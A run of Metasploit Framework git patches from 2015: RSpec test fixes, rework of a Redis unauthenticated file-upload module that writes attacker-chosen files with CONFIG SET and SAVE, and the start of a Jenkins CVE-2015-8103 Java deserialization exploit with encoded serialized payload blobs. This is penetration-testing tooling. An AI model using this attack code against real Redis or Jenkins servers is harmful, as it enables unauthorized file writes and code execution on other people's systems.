value - expect { rig.store(:spec1, value) }.to raise_error + expect { rig.store(:spec1, value) }.to raise_error(RuntimeError) end it "should overwrite a previously stored value" do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 656a001844..995813bf15 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -96,42 +96,42 @@ RSpec.describe Rex::SSLScan::Result do end it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error + expect{subject.cert = "foo"}.to raise_error(ArgumentError) end end context "adding a cipher result" do context "should raise an exception if" do it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error(ArgumentError) end it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error(ArgumentError) end it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error(ArgumentError) end it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error(ArgumentError) end it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error(ArgumentError) end end context "that was accepted" do @@ -277,11 +277,11 @@ RSpec.describe Rex::SSLScan::Result do context "when specifying one SSL version" do it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error + expect{ subject.each_accepted('sslv2')}.to raise_error(ArgumentError) end it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error + expect{ subject.each_accepted(:TLSv3)}.to raise_error(ArgumentError) end it "should return only ciphers matching the version" do @@ -333,11 +333,11 @@ RSpec.describe Rex::SSLScan::Result do context "when specifying one SSL version" do it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error + expect{ subject.each_rejected('sslv2')}.to raise_error(ArgumentError) end it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error + expect{ subject.each_rejected(:TLSv3)}.to raise_error(ArgumentError) end it "should return only ciphers matching the version" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index ea280b88c1..990503f8e1 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -38,19 +38,19 @@ RSpec.describe Rex::SSLScan::Scanner do context "an exception should be raised if" do it "has an invalid scanner configuration" do subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error(StandardError) end it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error(StandardError) end it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error(StandardError) end it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error(StandardError) end end From 6551df6446033fbe0b0c1973e2a23d3e2f94c245 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:52:15 -0600 Subject: [PATCH 1575/2172] update bitlocker for rspec3 --- spec/lib/rex/parser/fs/bitlocker_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/parser/fs/bitlocker_spec.rb b/spec/lib/rex/parser/fs/bitlocker_spec.rb index 5c11f01eaa..b7bb507eb9 100644 --- a/spec/lib/rex/parser/fs/bitlocker_spec.rb +++ b/spec/lib/rex/parser/fs/bitlocker_spec.rb @@ -79,7 +79,7 @@ class BitlockerDrive end end -describe Rex::Parser::BITLOCKER do +RSpec.describe Rex::Parser::BITLOCKER do Bitlocker = Rex::Parser::BITLOCKER.new(BitlockerDrive.new(volume_header, fve_header)) ## @@ -87,6 +87,6 @@ describe Rex::Parser::BITLOCKER do ## it "Extract and decrypt recovery key from recovery password" do result = Bitlocker.fvek_from_recovery_password_dislocker(recovery_password) - result.should eq(fvek_dislocker_format) + expect(result).to eq fvek_dislocker_format end end From 38d0b0a0f2c135d97957cff9ff013253661a7f60 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 08:42:59 -0800 Subject: [PATCH 1576/2172] Wire in @all3g's redis auth code --- lib/msf/core/auxiliary/redis.rb | 12 +++++++++++ .../scanner/redis/unauth_upload_file.rb | 21 +++++++++++++++---- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index f0bbd3f090..62bbedb8ab 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -38,6 +38,18 @@ module Msf datastore['READ_TIMEOUT'] end + def redis_auth?(password) + # Request for authentication in a password-protected Redis server. + # Redis can be instructed to require a password before allowing clients to + # execute commands. This is done using requirepass directive in the + # configuration file. + # + # If password matches the password in the configuration file, the server + # replies with the OK status code and starts accepting commands. + data = send_redis_command('AUTH', password) + data && data.include?('+OK') ? true : false + end + def redis_proto(commands) return if commands.blank? command = "*#{commands.length}\r\n" diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 5654c98819..dbd8b90d19 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -12,10 +12,15 @@ class Metasploit3 < Msf::Auxiliary super( update_info( info, - 'Name' => 'Redis Unauthenticated File Upload', + 'Name' => 'Redis File Upload', 'Description' => %q( - This module can save data to file in remote redis server, - Because redis is unprotected without a password set up. + This module can be used to leverage functionality exposed by Redis to + achieve somewhat arbitrary file upload to a file and directory to + which the user account running the redis instance has access. It is + not totally arbitrary because the exact contents of the file cannot + (yet) be completely controlled. Depending on the contents of the + file that is being uploaded, Redis may compress the data that is + ultimately stored in the specified target location. ), 'License' => MSF_LICENSE, 'Author' => [ @@ -34,10 +39,12 @@ class Metasploit3 < Msf::Auxiliary 'DisclosureDate' => 'Nov 11 2015' ) ) + register_options( [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), - OptString.new('RemoteFile', [false, 'Remote file path']) + OptString.new('RemoteFile', [false, 'Remote file path']), + OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) ] ) end @@ -84,6 +91,9 @@ class Metasploit3 < Msf::Auxiliary def check connect data = send_redis_command('INFO') + if data && /NOAUTH Authentication required/ =~ data + data = send_redis_command('INFO') if redis_auth?(datastore['Password']) + end disconnect if data && /redis_version:(?<redis_version>\S+)/ =~ data report_redis(redis_version) @@ -129,6 +139,9 @@ class Metasploit3 < Msf::Auxiliary if res =~ /PONG/ vprint_good("#{peer} -- responded positively to our PONG") send_file(datastore['RemoteFile'], @upload_content) + elsif res =~ /NOAUTH Authentication required/ && redis_auth?(datastore['Password']) + vprint_good("#{peer} -- responded to auth successfully") + send_file(datastore['RemoteFile'], @upload_content) else vprint_good("#{peer} -- responded unknown to our PONG: #{res}") end From ac47c87af437769224185648c497f34e88f7cfaf Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 08:53:11 -0800 Subject: [PATCH 1577/2172] Move Password option to redis mixin --- lib/msf/core/auxiliary/redis.rb | 3 ++- modules/auxiliary/scanner/redis/unauth_upload_file.rb | 3 +-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 62bbedb8ab..8760d37c82 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -25,7 +25,8 @@ module Msf register_advanced_options( [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]), + OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) ] ) end diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index dbd8b90d19..b456f40bb9 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -43,8 +43,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), - OptString.new('RemoteFile', [false, 'Remote file path']), - OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) + OptString.new('RemoteFile', [false, 'Remote file path']) ] ) end From 32a64c3d8e88512f8959df22c7151221bce9dc17 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 10:04:47 -0800 Subject: [PATCH 1578/2172] Make auth easier, work automatically and on older redis versions Also, improve check --- lib/msf/core/auxiliary/redis.rb | 33 +++++++++-- .../scanner/redis/unauth_upload_file.rb | 56 ++++++++----------- 2 files changed, 50 insertions(+), 39 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 8760d37c82..b18f5615d0 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -72,11 +72,34 @@ module Msf def send_redis_command(*commands) sock.put(redis_proto(commands)) - data = sock.get_once(-1, read_timeout) - return unless data - data.strip! - vprint_status("#{peer} -- redis command '#{Rex::Text.ascii_safe_hex(commands.join(' '), true)}' got '#{Rex::Text.ascii_safe_hex(data, true)}'") - data + command_response = sock.get_once(-1, read_timeout) + return unless command_response + command_response.strip! + end + + def redis_command(*commands) + return unless (command_response = send_redis_command(*commands)) + if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response + fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password'] + vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})") + if (auth_response = send_redis_command('AUTH', datastore['Password'])) + unless auth_response =~ /\+OK/ + vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}") + return + end + command_response = send_redis_command(*commands) + else + vprint_status("#{peer} -- authentication failed; no response") + return + end + end + + vprint_status("#{peer} -- redis command '#{printable_redis_response(commands.join(' '))}' got '#{printable_redis_response(command_response)}'") + command_response + end + + def printable_redis_response(response_data, convert_whitespace = true) + Rex::Text.ascii_safe_hex(response_data, convert_whitespace) end end end diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index b456f40bb9..55aeaa2dae 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -57,15 +57,15 @@ class Metasploit3 < Msf::Auxiliary # Get the currently configured dir and dbfilename before we overwrite them; # we should set them back to their original values after we are done. # XXX: this is a hack -- we should really parse the responses more correctly - original_dir = send_redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last - original_dbfilename = send_redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last + original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last + original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last # set the directory which stores the current redis local store - data = send_redis_command('CONFIG', 'SET', 'dir', dirname) + data = redis_command('CONFIG', 'SET', 'dir', dirname) return unless data.include?('+OK') # set the file name, relative to the above directory name, that is the redis local store - data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename) + data = redis_command('CONFIG', 'SET', 'dbfilename', basename) return unless data.include?('+OK') # set a key in this db that contains our content @@ -73,33 +73,32 @@ class Metasploit3 < Msf::Auxiliary # multiline. It also probably doesn't work well if the content isn't # simple ASCII text key = Rex::Text.rand_text_alpha(32) - data = send_redis_command('SET', key, content) + data = redis_command('SET', key, content) return unless data.include?('+OK') - data = send_redis_command('SAVE') + data = redis_command('SAVE') return unless data.include?('+OK') print_good("#{peer} -- saved file to #{path}") # cleanup # XXX: ensure that these get sent if we prematurely return if a previous command fails - send_redis_command('CONFIG', 'SET', 'dir', original_dir) - send_redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) - send_redis_command('DEL', key) - send_redis_command('SAVE') + redis_command('CONFIG', 'SET', 'dir', original_dir) + redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) + redis_command('DEL', key) + redis_command('SAVE') end def check connect - data = send_redis_command('INFO') - if data && /NOAUTH Authentication required/ =~ data - data = send_redis_command('INFO') if redis_auth?(datastore['Password']) - end - disconnect - if data && /redis_version:(?<redis_version>\S+)/ =~ data + # they are only vulnerable if we can run the CONFIG command, so try that + return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/ + + if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data report_redis(redis_version) - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe end + + Exploit::CheckCode::Vulnerable + ensure + disconnect end def setup @@ -129,22 +128,11 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile'] return unless check == Exploit::CheckCode::Vulnerable - connect - unless (res = send_redis_command('PING')) - vprint_error("#{peer} -- did not respond to our redis PING") - return - end - - if res =~ /PONG/ - vprint_good("#{peer} -- responded positively to our PONG") + begin + connect send_file(datastore['RemoteFile'], @upload_content) - elsif res =~ /NOAUTH Authentication required/ && redis_auth?(datastore['Password']) - vprint_good("#{peer} -- responded to auth successfully") - send_file(datastore['RemoteFile'], @upload_content) - else - vprint_good("#{peer} -- responded unknown to our PONG: #{res}") + ensure + disconnect end - ensure - disconnect end end From 9ef46140c04201a10e1f313693cf131b24b30d16 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 10:10:44 -0800 Subject: [PATCH 1579/2172] Improve output when success --- lib/msf/core/auxiliary/redis.rb | 12 ------------ .../auxiliary/scanner/redis/unauth_upload_file.rb | 4 ++-- 2 files changed, 2 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index b18f5615d0..59582ea582 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -39,18 +39,6 @@ module Msf datastore['READ_TIMEOUT'] end - def redis_auth?(password) - # Request for authentication in a password-protected Redis server. - # Redis can be instructed to require a password before allowing clients to - # execute commands. This is done using requirepass directive in the - # configuration file. - # - # If password matches the password in the configuration file, the server - # replies with the OK status code and starts accepting commands. - data = send_redis_command('AUTH', password) - data && data.include?('+OK') ? true : false - end - def redis_proto(commands) return if commands.blank? command = "*#{commands.length}\r\n" diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 55aeaa2dae..4ff8c7cd85 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary return unless data.include?('+OK') data = redis_command('SAVE') return unless data.include?('+OK') - print_good("#{peer} -- saved file to #{path}") + print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}") # cleanup # XXX: ensure that these get sent if we prematurely return if a previous command fails @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary # file such that what we uploaded will be interpretted as if it contained # only the contents of what we uploaded. For example, here is a nearly # empty redis database that started with a single key (foo) value (bar) - # pair, and the contents of what we uploaded was the current data: + # pair, and the contents of what we uploaded was the current date: # # 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo| # 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS| From 1fecd9846c6dd400faeebf135d8dbaa720ea1914 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 10:13:13 -0800 Subject: [PATCH 1580/2172] Bury some helper methods behind private --- lib/msf/core/auxiliary/redis.rb | 34 +++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 59582ea582..f7f5c030f8 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -39,15 +39,6 @@ module Msf datastore['READ_TIMEOUT'] end - def redis_proto(commands) - return if commands.blank? - command = "*#{commands.length}\r\n" - commands.each do |c| - command << "$#{c.length}\r\n#{c}\r\n" - end - command - end - def report_redis(version) report_service( host: rhost, @@ -58,13 +49,6 @@ module Msf ) end - def send_redis_command(*commands) - sock.put(redis_proto(commands)) - command_response = sock.get_once(-1, read_timeout) - return unless command_response - command_response.strip! - end - def redis_command(*commands) return unless (command_response = send_redis_command(*commands)) if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response @@ -89,5 +73,23 @@ module Msf def printable_redis_response(response_data, convert_whitespace = true) Rex::Text.ascii_safe_hex(response_data, convert_whitespace) end + + private + + def redis_proto(command_parts) + return if command_parts.blank? + command = "*#{command_parts.length}\r\n" + command_parts.each do |c| + command << "$#{c.length}\r\n#{c}\r\n" + end + command + end + + def send_redis_command(*command_parts) + sock.put(redis_proto(command_parts)) + command_response = sock.get_once(-1, read_timeout) + return unless command_response + command_response.strip! + end end end From eb4611642dcf107b652edb0a916176cc40c80c76 Mon Sep 17 00:00:00 2001 From: dmohanty-r7 <dev_mohanty@rapid7.com> Date: Fri, 11 Dec 2015 14:57:10 -0600 Subject: [PATCH 1581/2172] Add Jenkins CLI Java serialization exploit module CVE-2015-8103 --- .../CVE-2015-8103/serialized_class_loader | Bin 0 -> 1751 bytes .../CVE-2015-8103/serialized_file_writer | Bin 0 -> 1453 bytes .../CVE-2015-8103/serialized_jenkins_header | Bin 0 -> 22 bytes .../CVE-2015-8103/serialized_payload_footer | Bin 0 -> 4403 bytes .../CVE-2015-8103/serialized_payload_header | 1 + .../exploits/CVE-2015-8103/Deserialize.java | 18 ++ .../ExecBlockingSecurityManager.java | 44 ++++ .../CVE-2015-8103/GeneratePayload.java | 86 +++++++ .../CVE-2015-8103/RMIRegistryExploit.java | 53 +++++ .../payloads/ClassLoaderInvoker.java | 70 ++++++ .../payloads/CommonsCollections1.java | 78 +++++++ .../payloads/CommonsCollections2.java | 57 +++++ .../payloads/CommonsCollections3.java | 81 +++++++ .../CVE-2015-8103/payloads/Groovy1.java | 45 ++++ .../CVE-2015-8103/payloads/ObjectPayload.java | 9 + .../CVE-2015-8103/payloads/Spring1.java | 78 +++++++ .../payloads/annotation/Dependencies.java | 12 + .../payloads/util/ClassFiles.java | 44 ++++ .../CVE-2015-8103/payloads/util/Gadgets.java | 92 ++++++++ .../payloads/util/PayloadRunner.java | 40 ++++ .../payloads/util/Reflections.java | 33 +++ .../payloads/util/Serializables.java | 34 +++ .../linux/misc/jenkins_java_deserialize.rb | 213 ++++++++++++++++++ 23 files changed, 1088 insertions(+) create mode 100644 data/exploits/CVE-2015-8103/serialized_class_loader create mode 100644 data/exploits/CVE-2015-8103/serialized_file_writer create mode 100644 data/exploits/CVE-2015-8103/serialized_jenkins_header create mode 100644 data/exploits/CVE-2015-8103/serialized_payload_footer create mode 100644 data/exploits/CVE-2015-8103/serialized_payload_header create mode 100755 external/source/exploits/CVE-2015-8103/Deserialize.java create mode 100755 external/source/exploits/CVE-2015-8103/ExecBlockingSecurityManager.java create mode 100755 external/source/exploits/CVE-2015-8103/GeneratePayload.java create mode 100755 external/source/exploits/CVE-2015-8103/RMIRegistryExploit.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/ClassLoaderInvoker.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/CommonsCollections1.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/CommonsCollections2.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/CommonsCollections3.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/Groovy1.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/ObjectPayload.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/Spring1.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/annotation/Dependencies.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/util/ClassFiles.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/util/Gadgets.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/util/PayloadRunner.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/util/Reflections.java create mode 100755 external/source/exploits/CVE-2015-8103/payloads/util/Serializables.java create mode 100644 modules/exploits/linux/misc/jenkins_java_deserialize.rb diff --git a/data/exploits/CVE-2015-8103/serialized_class_loader b/data/exploits/CVE-2015-8103/serialized_class_loader new file mode 100644 index 0000000000000000000000000000000000000000..cd519e2e3b0d367c62aec7157530c8f2741966b4 GIT binary patch literal 1751 zcmb7FL5LJb6#d<^>+WWio!yXCTojS4QHk9W#fSqY>ws~fS68EpIG2<&HPgLzSGCnO zW6x@Y<PZ;DJgkbB=s{000rBi1gb;95NG=9XQIsU05D$_|M1NKH%(g2=?L${h_5bhx z|Ni?mmmfiQB;cc{!7M>*KCMWLFvca39%t5AXIo-TUeSj;2&?*3?7RMC;Jw-7mrO7n zSQyaYAQh9uZ_r4>fHOs!#BNB>x5r6XaG*=JLMmY}`QQ^)w~IcBqCy--Ujl#ui<FC{ zTr6~n1uWJF%CwW&gy3=O?gw{P+{hPaO)wlVTnVEY(6k2orF2!G!*Cn`t6j@Q-6A2W zxYVlfAmA**)mO!1(UBF9&~nIh3-e$PX1@Nmm7mF}U_CWbkzBMSeCQyAoj}+r1g;$j zd#@lYs&Nrep&|>|@|u{n22<FPRdk8RXf*?{{+F{4S5Keq!h*}N$jf{|s@Ij@E|rEz zUH*@NOo+m@$+eGv-?-$Q2@r?asU9q*@W#a;osuw_0o>m_H8^HonbGa*^NOj3grQ6u zcO9I<W*~FTwhkDT*1kQC7LCJ6l?u$I{k$E+N*jl$$mDe5uV;sj9=o;Kgj^ZAy)jWo zX5THpoR9<k-Z+&mukIuP>N%V9=TdmAUMQo<1Q8_Ii;72>p)5>W^Vo$H-qHe3>pgXA z|M`5h#&2_NO6X_wNJ*1eq3D&OC0+^Icf+@Tn7w(R(;x#m8%Tm$DQks2yPv-Q^N4#> z154<uQ<;>}P&2U{c{I^0KR0nnF&F;1xOuv8b(?l;YEwN#!`f{`xrLprp?53r&_IbS z)L3c!Gov4GTKeC8k%OKR^tvQ+i@Zup&=qna9q1zsq*Qpar9v#h+oI<Aw7qwEB-4Fw zD7fS}XX)=8j=SE*;j{FS0LZy5gV1h8yg~&fzBNUJGFvAT<S>@7z|$&tRsBgru$K0N zQdAHl^XfM+7z%+zq0c>OO^}w4;zWkkqWjZ{U?~65dH&ept^fyq&I<eRf;3WDegE6! zpMNhq`k8KpLR#5zF*UGyt(uQMzdKu1Im&YVi{2a5*+%U>h|L?E6GDkeTBl;@-i3?* zesuyT#3(^`Q{D4;MP~%Fv!VU~zPWsQS^vx*C))y6N=U%;#l8bOkC$q9&z&EC8vf$f z9GKhT9mUjkeX*9HPr8CeF88Z(_{paU_eXkh&8vMJBRNBJx$SCFA-pP0?DRVhRVCxk E0k@ttasU7T literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-8103/serialized_file_writer b/data/exploits/CVE-2015-8103/serialized_file_writer new file mode 100644 index 0000000000000000000000000000000000000000..337e86f573796d6a71089f132682754e4be5528f GIT binary patch literal 1453 zcmb7EJ!lj`6n?k4{25~|QKKOKAcz`tSHvQCg(ks}z?ldpLA=KCZtiyD?#?<pciD|U zpoJ-HEFxl~DPm<1#M(kE1fu~f#VU$|g@PiYU3@cpcUkZ^SKJIc?|tw4zV~M4K0&?D zVZUE;bxsR5%?X{jE)zsp%+-5p+d;R?a_Zv%aq~9iqffuJt)IVmM*}Sbs~zf`rhJUp zCF%=k%Z!sUF-pR+jiba%XCNs;j|ymy4s7BUjXs<Bemd~{3jmOSR+*y96dh9n4ja@5 z8Cqj@jI$tov-9<~XQ{q<4H6khm;!dhKr0%IU+Bt0XW=3Ms_kODs1uLmOseOY<1p99 z)t2H>w68nF(=%i;L>}(@>C3mm)O4LJ)>t4p!FVWOPX-~32*Rj9;97$)MmTZ(0^<(l zvNDH*|EO6gxf0vg`%GfFG#>-l_vFUMU6VJGC^!qPR_p|=-kV(+l@hO{{LO$^iS)y< zt}m|+Y`m!f1Ri!OiDJ_KEe7or#1%2X6Xk2|J=*<g)xKt{uM#1kBi6>@)8p6-bgs-{ z>u-u#Oz*dBI*QZcBd6+bWlqZ(IYW7j+ti1pGw04PbZbzTg?g)p7t!Ih*<Xoepv5{$ zg~{?m#KF0ab3ZP)<rdRf3^_(PaYk_R5vC&!Q=NV6Mg?A1gI>{nZQ;c2l)u}qdaemr zH^D7IdqY8cI49u<lln2e0vn}Auy;FO-kX1Zveq#TO<b)mQ^mIA-q|B-THh_Hp-y^4 znDS<9RBmh8-np+Eel#?VEUM}Pnu}CKT1zr)3z{tvQ_I&gQatl{wtF)DpjV}pRj9gg zohogUO!Jnv>S!C<VhG1GLZ9U*r^MFB37^ow2vp>DOlmM`$QTpQV5xrni9}>wbrNtz zIg-RCRjD1PwtboLpetyR@{YGNv)?aGVZRfDP+yj>7d|{OWkV(TtX-MAzPV+3@oKdl zi5i%Ct_Fy2;!{!I`1;Y~&QmYyK<kH9HY53d^;`@>voJaJO=jl<@6h3h;zSd!DY*{< XbhBfb+i;n3Zslndr~U&^DoOtYkgw%P literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-8103/serialized_jenkins_header b/data/exploits/CVE-2015-8103/serialized_jenkins_header new file mode 100644 index 0000000000000000000000000000000000000000..8cd3f871c12e59807b9c95ee9e0513554419a848 GIT binary patch literal 22 dcmZP&2`I`h$xqJDv2ynD)J@LM%S%lz0RT{42ao^& literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-8103/serialized_payload_footer b/data/exploits/CVE-2015-8103/serialized_payload_footer new file mode 100644 index 0000000000000000000000000000000000000000..5c4afa63119506c14a86270b9453524a75164dfb GIT binary patch literal 4403 zcmd5<-D@0G6hAw=NjLr6+Amw1bX&GbKQ~R#LQE*OOJi2X8q!9j0p)h)CYg42?)J{z z?nbHTgMu$2^hrT{^Qk@x{sDeGR748C2%<g}L7xPbV%2lz&dg4BHa3(7IuDnbd+s^+ zcg~)V-vR(^J$~~y=<y{yvDmPE;guz?3FUYT<yoK08Gg0FeTC=f$rz9|p<ubp_f5fU zE~lkvEh#u*YUSZbd3c7b@Jjn+shap0pM!N$n^s`VoiQP=#Caw0S_O}pm)SKo>@sg* zSnrLuB<$*hmxfja!?CN7$4gaJRBf~>xnCEa&lT+H0#VDlTCa#&jd`~An;g%W&}T`` z6t_<+1v?TT&$cXHSB~(;TXhWNKqu1BR_VNGNQ*Bs*{c>EzjQ*u?i9RGi_mSOfRrg9 z<@l~|@9jIaXMFGH2Eg(Y7Z#;xvP&-i?#ri!#+skq%0kYB9*Z?73`yMa$#D}l*<3Nl zeV+S1Ti{pWb;!=adS5Z?$_2?R)Et;gxO_eqoOOAPdkRf#_Z#&(2HfX%j1p6)pw$}6 zafeOER~RHRU#K@QRNAI?Ep5}7JTftH@4y)OSjV_+q%>{EBBj9kzW8A9<PUEdkgLLa z*YWtdM(q-pCTzAjW-aAckcEMNm>%<v%g?cz_Sb~<HLezg9q$B}R#ZCo!rw;0#_+97 zs1)>0IG&?U`DA|^0v@H89klGEWmhb)x)==;8jXf;fzjo96Y78K6r-J}+O&Q)-{s!Q zBJ(`%k~8`(bS7sp*NqY1RWQ_<*t*E8-Zfz{%Ks^>7?(>0dsmP|VRBIA3fH#(#it9Z zQqWpP>I$|rnWH8J^_n^wUy2~*?oe!swCu;k4o~TuJI}%m1)D?omg|%&W>rBR*K~|v 